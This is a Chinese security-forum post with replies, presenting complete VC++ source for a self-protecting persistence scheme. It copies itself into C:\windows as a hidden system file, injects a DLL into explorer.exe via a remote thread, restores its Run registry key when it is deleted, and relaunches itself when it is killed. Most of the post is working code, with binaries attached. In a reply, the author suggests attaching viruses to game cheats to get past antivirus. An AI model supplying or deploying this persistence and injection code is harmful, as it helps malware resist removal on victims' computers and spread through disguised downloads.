飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 5667|回复: 5

关于三线程防杀的思路和VC代码

[复制链接]

该用户从未签到

发表于 2011-3-29 17:10:27 | 显示全部楼层 |阅读模式
本帖最后由 liuqiangni 于 2011-3-29 17:18 编辑

[前言]
无意中在网上看到了一个帖子关于三线程的问题,我觉得其思路十分巧妙,加之我学HOOK技术也有一段时间了,于是就想看看到底是怎么实现的,那帖子说的不十分清楚,说有源码的,在网上搜确实有源码存在,但是下载都要先注册,然后还有什么下载豆啊,什么的,反正就是不让你下.注册了几个号,都下载不了.在看雪上面搜了一下,倒是有一篇文章是关于三线程的,不过时Dephi写的,我没学Dephi,也就没有看他的文章.
文章地址:http://bbs.pediy.com/showthread. ... %E7%A8%8B+%E7%A8%8B
想着自己编程也这么久了,索性自己来写,于是就写了这篇文章出来,算是整理一下这些天的思路了吧!
[原作者思路思路很巧妙,我很佩服](本人在上面花了很大功夫,关键代码绝对原创,特申请[精华])

我们有一个主进程Main.exe 和一个DLL文件 KernelSoft.DLL,  Main.exe启动的时候,会查看C:\\windows\\下面有没有我们的2个文件,如果没有就复制当前文件夹的文件过去,并设置为系统文件并隐藏,我们会查找我们注入的进程中有没有KernelSoft.dll,如果没有,那么表示我是第一次启动Main.exe,  我们注入KernelSoft..然后会创建一个线程Watch 监视注册表和远程线程..

Kernelsoft.dll 只做一件事,就是创建1个线程监视我们的Main.exe是否还存在于进程中,如果不存在,那么就启动Main.exe,实现防杀的功能,我们把DLL注入到Explorer.exe中,当然你也可以注入到几个进程中,或者注入到别的进程中,我这里只是演示,  文章中有些地方是直接硬编码的,方便一些,当然这些地方你都可以很容易的看到,并且修改,以便兼容你的电脑.

Watch线程监视我们的开机启动项,如果该项被删除掉,它会立即重新写入注册表.并且如果你发现我们的Main.exe注入到explorer.exe后,你试图关闭explorer.exe,  那我会告诉你,关闭后,当explorer.exe再次出现的时候,我们的程序还是会注入到explorer.exe中的.
下面给源码吧:
我的注释还算比较详细的,尽量让大家都很容易的明白我在做什么.

先给3个函数:
在SourseHead.h中定义的


  1. #include <Tlhelp32.h>
  2. //提权
  3. bool EnablePrivilege(char*PrivilegeName,BOOL IsEnable)

  4. {       
  5.         HANDLE hToken;
  6.        
  7.         TOKEN_PRIVILEGES tp;
  8.        
  9.         LUID luid;       
  10.        
  11.         if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES |
  12.                
  13.                 TOKEN_QUERY | TOKEN_READ,&hToken))
  14.                
  15.         {
  16.                
  17.                 return false;
  18.                
  19.         }
  20.                
  21.         if(!LookupPrivilegeValue(NULL, PrivilegeName, &luid))
  22.                
  23.         {
  24.                
  25.                 return false;
  26.                
  27.         }
  28.                
  29.         tp.PrivilegeCount           = 1;
  30.        
  31.         tp.Privileges[0].Luid       = luid;
  32.        
  33.         tp.Privileges[0].Attributes = (IsEnable) ? SE_PRIVILEGE_ENABLED : 0;       
  34.        
  35.         BOOL bSucc = AdjustTokenPrivileges(hToken,FALSE,&tp,NULL,NULL,NULL);       
  36.        
  37.         CloseHandle(hToken);
  38.        
  39.         return (GetLastError() == ERROR_SUCCESS);
  40.        
  41. }



  42. //获取PID值
  43. BOOL GetProcessIdByName(LPSTR szProcessName,LPDWORD lpPID)//PID是我们要传出去的指针变量
  44. {
  45.   //变量及初始化
  46.   STARTUPINFO st;
  47.   PROCESS_INFORMATION pi;
  48.   PROCESSENTRY32 ps;
  49.   HANDLE hSnapshot;
  50.   ZeroMemory(&st,sizeof(STARTUPINFO));
  51.   ZeroMemory(&pi,sizeof(PROCESS_INFORMATION));
  52.   st.cb = sizeof(STARTUPINFO);
  53.   ZeroMemory(&ps,sizeof(PROCESSENTRY32));
  54.   ps.dwSize = sizeof(PROCESSENTRY32);
  55.   //遍历进程
  56.   hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  57.   if (hSnapshot == INVALID_HANDLE_VALUE)
  58.   {
  59.     return FALSE;
  60.   }
  61.   if (!Process32First(hSnapshot,&ps))
  62.   {
  63.     return FALSE;
  64.   }

  65.   do
  66.   {
  67.     //比较进程名
  68.     if (lstrcmpi(ps.szExeFile,szProcessName) == 0)
  69.     {
  70.       //找到了
  71.       *lpPID = ps.th32ProcessID;
  72.       CloseHandle(hSnapshot);
  73.       return TRUE;
  74.     }
  75.   } while (Process32Next(hSnapshot,&ps));
  76.   //没有找到
  77.   CloseHandle(hSnapshot);
  78.   return FALSE;
  79. }




  80. //注入函数
  81. //pid  我们的目标PID
  82. //szMyDll  我们需要注入的DLL
  83. HANDLE InjeckDll(DWORD pid,CString szMyDll)
  84. {
  85.         EnablePrivilege(SE_DEBUG_NAME,true);
  86.         HANDLE hand = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
  87.         LPVOID Address = NULL;
  88.         PSTR pszLibFileRemote  =(PSTR)VirtualAllocEx(hand,NULL,szMyDll.GetLength()+1,MEM_COMMIT,PAGE_READWRITE);
  89.         ::WriteProcessMemory(hand,pszLibFileRemote,szMyDll.GetBuffer(0),szMyDll.GetLength()+1,NULL);
  90.         HMODULE hmod  = ::GetModuleHandle("Kernel32");
  91.         szMyDll.ReleaseBuffer();
  92.         PTHREAD_START_ROUTINE point  = (PTHREAD_START_ROUTINE)::GetProcAddress(hmod,"LoadLibraryA");

  93.         //创建远程线程执行LoadLibraryA 注入我们自己的DLL文件
  94.         HANDLE handr  = CreateRemoteThread(hand,NULL,0,point,(LPVOID)pszLibFileRemote,0,NULL);
  95.         WaitForSingleObject(handr,INFINITE);
  96.        
  97.         EnablePrivilege(SE_DEBUG_NAME,false);//还原权限
  98.         return handr;

  99. }

复制代码
这3个函数想必大家都还是比较傲熟悉的,我就不多说了,如果有不懂的也可以Email问我,

Email:[email protected]

PYG_liuqiangni

中间插点版权小广告好像是NBW 首创的,小弟只是算沿用了一下,呵呵


我定义了几个宏 后面会用到,大家先看看
//宏定义 部分字符串
#define  DesName "explorer.exe"
#define  DesMainName "C:\\windows\\Main.exe"
#define  DesDllName "C:\\windows\\KernelSoft.dll"
/////////////////////////////////////////////////

下面给出 Watch线程

  1. BOOL Watch(LPVOID pvparam)//这个参数没有什么用,是我刚开始的时候加的,就没有删掉
  2. {
  3.         HANDLE    wethread=(HANDLE)pvparam;
  4.         HKEY              hkey;
  5.         TCHAR             wtname[MAX_PATH] = "C:\\windows\\Main.exe";//这个是写入注册表的路径
  6.         TCHAR             lpdata[MAX_PATH];  
  7.         LPCTSTR           rgspath=_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
  8.         DWORD             type=REG_SZ;
  9.         DWORD             dwbuflen=MAX_PATH;  
  10.         int               ret;

  11.         while(1)
  12.         {   
  13.                 ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_QUERY_VALUE,&hkey);//打开注册表
  14.                 if(ret!=ERROR_SUCCESS)
  15.                 {
  16.                         OutputDebugString(_T("RegOpenKeyEx for KEY_QUERY_VALUE Error\n"));//调试信息不用管
  17.                         break;
  18.                 }
  19.                 ret=RegQueryValueEx(hkey,"Main.exe",NULL,NULL,(LPBYTE)lpdata,&dwbuflen);//查找有没有Main.exe
  20.                 RegCloseKey(hkey);
  21.                 if(ret!=ERROR_SUCCESS)
  22.                 {
  23.                         ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_WRITE,&hkey);
  24.                         if(ret!=ERROR_SUCCESS)
  25.                         {
  26.                                 OutputDebugString(_T("RegOpenKeyEx for KEY_WRITE Error\n"));
  27.                                 break;
  28.                         }
  29.                         //如果没有就重新写入我们的Main.exe
  30.                         ret=RegSetValueEx(hkey,"Main.exe",NULL,type,(const byte *)wtname,dwbuflen);
  31.                         RegCloseKey(hkey);
  32.                         if(ret!=ERROR_SUCCESS)
  33.                         {
  34.                                 OutputDebugString(_T("RegSetValueEx Error\n"));
  35.                                 break;
  36.                         }
  37.                 }
  38.        
  39.                
  40.                         //下面的代码表示如果explorer.exe中没有我们的模块,我们重新注入
  41.                         DWORD pid =0;
  42.                         GetProcessIdByName("explorer.exe",&pid);//我们选择注入Explorer.exe
  43.                         HANDLE DesProcess = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
  44.                         if (!EnumMoudle(DesProcess,"KernelSoft.dll"))//自定义函数,查找模块
  45.                         {
  46.                                 InjeckDll(pid,DesDllName);//自定义函数,注入
  47.                         }
  48.                                

  49.        
  50.                 Sleep(1000);       
  51.         }
  52.         return 0;
  53.        

  54. }
复制代码
[COLOR="red"]下面给出设置文件属性并复制文件的函数:(注释也很清楚了)[/COLOR]

  1. //在Windows下寻找我自己的模块,找不到就复制我自己的模块过去
  2. /*
  3. LookFileName[]    Windows下的模块C:\\windows\\Main.exe
  4. name[]                将要复制到C盘的模块的地址,就是当前文件夹的路径

  5. */
  6. void SetFile(char LookFileName[],char name[])
  7. {
  8.         BOOL sign = FALSE;  //是否找到我需要的文件
  9.         CFileFind ff;
  10.         BOOL work = ff.FindFile("C:\\windows\");//查找的文件路径,我是硬编码的
  11.         while(work)
  12.         {
  13.                 work = ff.FindNextFile();
  14.                 CString filepath = ff.GetFilePath();//得到文件的完整路径
  15.                 CString MainName;
  16.                 MainName.Format("%s",LookFileName);
  17.                 if (filepath == MainName)
  18.                 {
  19.                         sign = TRUE;
  20.                         break;
  21.                 }
  22.        
  23.         }
  24.         ff.Close();
  25.         if (!sign)//如果没找到,那么复制我自己的文件过去
  26.         {
  27.                
  28.                 CopyFile(name,LookFileName,FALSE);//把文件复制到C:\\windows下
  29.                 //设置文件属性
  30.                 SetFileAttributes(LookFileName,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY);
  31.                
  32.         }
  33.        
  34.        

  35. }

复制代码
上面的查找文件的代码在我写U盘偷窥者的时候也有用到,不过那个比这个复杂,不是很清楚的同学可以看看我以前的文章
U盘偷窥者的地址:  http://bbs.pediy.com/showthread.php?t=127663

下面给出遍历模块的函数:
这次我没有用CreateToolhelp32Snapshot,因为那个用过很多次了,要有新的尝试才会进步嘛
所以我用了两个我不是很熟习的函数EnumProcessModules和GetModuleBaseName
大家不懂的可以上Google 或Msdn上面查查.
[COLOR="red"]注意:这几个函数要#pragma   comment(lib,"Psapi.lib") 还要有头文件

#include <Psapi.h>[/COLOR]


  1. //遍历模块
  2. BOOL EnumMoudle(HANDLE DesProcess,char MoudleName[])
  3. {
  4.         HMODULE hmod[MAX_PATH];
  5.         DWORD dwMod;
  6.         char BaseName[MAX_PATH];
  7.         EnumProcessModules(DesProcess,hmod,sizeof(hmod),&dwMod);
  8.         for (int i = 0;hmod[i]!=0;i++)
  9.         {
  10.                 GetModuleBaseName(DesProcess,hmod[i],BaseName,MAX_PATH);
  11.                 if(stricmp(MoudleName,BaseName)==0)
  12.                         return TRUE;
  13.         }
  14.         return FALSE;
  15. }
复制代码
现在给出主要的函数,他调用这一切的子函数....

  1. void InitiaMain()     //相当于初始化工作,我们后面的函数都是在这里面调用的
  2. {
  3.         HANDLE g_Hthread;
  4.        
  5.         DWORD idthread;
  6.         DWORD pid =0;
  7.         char MainPath[MAX_PATH];
  8.         char DLLPath[MAX_PATH];
  9.         //复制我们的2个文件到C:\\windows\\下面
  10.         GetModuleFileName(NULL,MainPath,MAX_PATH);
  11.         SetFile(DesMainName,MainPath);
  12.         GetCurrentDirectory(MAX_PATH,DLLPath);
  13.         strcat(DLLPath,"\\KernelSoft.dll");
  14.         SetFile(DesDllName,DLLPath);

  15.         GetProcessIdByName("explorer.exe",&pid);//我们选择注入Explorer.exe
  16.         HANDLE DesProcess = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
  17.         if (!EnumMoudle(DesProcess,"KernelSoft.dll"))
  18.         {//如果我们的模块不存在目标进程中,那么重新注入
  19.                 g_Hthread=InjeckDll(pid,DesDllName);
  20.        
  21.         }
  22.         //创建监视线程Watch
  23.         HANDLE wehand = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Watch,(LPVOID)g_Hthread,0,&idthread);
  24. }

复制代码
[COLOR="red"]下面我们来看我们的 kernelSoft.dll模块的代码
//KernelSoft.cpp
//这里注释得还算清楚[/COLOR]

  1. #include "stdafx.h"
  2. #include <Tlhelp32.h>



  3. //***********************
  4. //全局数据区
  5. HMODULE g_hmod = NULL;
  6. DWORD g_idthread;
  7. //***********************
  8. //函数区
  9. void WatchMainProcess();
  10. BOOL FindMainProcess(LPSTR szProcessName);
  11. //***********************
  12. //我们的主函数
  13. BOOL APIENTRY DllMain( HMODULE hMod,
  14.                       DWORD  ul_reason_for_call,
  15.                       LPVOID lpReserved
  16.                       )
  17. {
  18.         if( DLL_PROCESS_ATTACH == ul_reason_for_call )
  19.         {
  20.                 g_hmod = hMod;
  21.                 HANDLE hand  = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WatchMainProcess,(LPVOID)NULL,0,&g_idthread);

  22.         }
  23.         else if( DLL_PROCESS_DETACH == ul_reason_for_call )
  24.         {

  25.         }

  26.        
  27.         return TRUE;
  28. }

  29. void WatchMainProcess()
  30. {

  31.         while (1)
  32.         {
  33.         if (!FindMainProcess("Main.exe"))//我们的主线程是Main.exe
  34.         {
  35.                 WinExec("C:\\Windows\\Main.exe",SW_HIDE);

  36.         }
  37.         Sleep(500);       
  38.         }

  39. }

  40. BOOL FindMainProcess(LPSTR szProcessName)
  41. {
  42.         //变量及初始化
  43.         STARTUPINFO st;
  44.         PROCESS_INFORMATION pi;
  45.         PROCESSENTRY32 ps;
  46.         HANDLE hSnapshot;
  47.         ZeroMemory(&st,sizeof(STARTUPINFO));
  48.         ZeroMemory(&pi,sizeof(PROCESS_INFORMATION));
  49.         st.cb = sizeof(STARTUPINFO);
  50.         ZeroMemory(&ps,sizeof(PROCESSENTRY32));
  51.         ps.dwSize = sizeof(PROCESSENTRY32);
  52.         //遍历进程
  53.         hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  54.         if (hSnapshot == INVALID_HANDLE_VALUE)
  55.         {
  56.                 return FALSE;
  57.         }
  58.         if (!Process32First(hSnapshot,&ps))
  59.         {
  60.                 return FALSE;
  61.         }
  62.        
  63.         do
  64.         {
  65.                 //比较进程名
  66.                 if (lstrcmpi(ps.szExeFile,szProcessName) == 0)  //查找我们的进程,如果没有就启动主进程
  67.                 {
  68.                         //找到了
  69.                         CloseHandle(hSnapshot);
  70.                         return TRUE;
  71.                 }
  72.         } while (Process32Next(hSnapshot,&ps));
  73.         //没有找到       
  74.         CloseHandle(hSnapshot);
  75.         return FALSE;
  76. }



复制代码
这样我们的三线程防杀就完成了,写了一下午,手都写麻了,大家看了,就给点评价吧.

[COLOR="red"]因为本代码有病毒或者木马的一些特征,杀毒软件肯定会报毒.本软件没有实质性的功能,只是作为一种思路的交流.
声明:  本代码仅作为技术交流,请勿用于非法用途,因为本代码造成的任何后果,作者不承担任何责任,如果你不同意,请不要使用本代码,谢谢.[/COLOR]

附件在后面,也有详细的注释...




}

[/CODE]

三线程防杀Bin.rar

19.32 KB, 下载次数: 5, 下载积分: 飘云币 -2 枚

三线程防杀源代码.rar

38.57 KB, 下载次数: 6, 下载积分: 飘云币 -2 枚

评分

参与人数 1威望 +8 飘云币 +8 收起 理由
whypro + 8 + 8 PYG有你更精彩!

查看全部评分

PYG19周年生日快乐!
  • TA的每日心情
    开心
    2016-11-4 23:26
  • 签到天数: 5 天

    [LV.2]偶尔看看I

    发表于 2011-4-2 12:13:46 | 显示全部楼层
    我在看雪就看到你发了这个帖子~~~~~~~~
    哈哈~~~/:018
    PYG19周年生日快乐!

    该用户从未签到

     楼主| 发表于 2011-4-2 12:18:55 | 显示全部楼层
    回复 2# sdrf5678lk


        恩,因为这个2个论坛我经常都来,所以发帖子就同时在2个论坛一起发咯,帖子是自己写的,也就没有版权的规定咯,呵呵
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2011-4-4 10:45:13 | 显示全部楼层
    可是还是过不去360监控,一出现注入类似的,肯定拦截你
    PYG19周年生日快乐!

    该用户从未签到

     楼主| 发表于 2011-4-4 19:36:33 | 显示全部楼层
    可是还是过不去360监控,一出现注入类似的,肯定拦截你
    wangruichang 发表于 2011-4-4 10:45



        这个肯定,你注入的话,不管是谁,360肯定拦截,这个要想其他的方法了.所以说 病毒附加在外挂上面就很好
    PYG19周年生日快乐!
  • TA的每日心情
    奋斗
    2023-12-27 21:49
  • 签到天数: 85 天

    [LV.6]常住居民II

    发表于 2011-5-19 04:03:58 | 显示全部楼层
    支持一下

    文章不错
    PYG19周年生日快乐!
    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表